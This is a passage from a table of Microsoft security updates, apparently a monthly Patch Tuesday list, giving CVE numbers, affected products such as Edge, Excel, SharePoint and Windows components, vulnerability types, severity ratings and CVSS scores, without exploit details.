CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  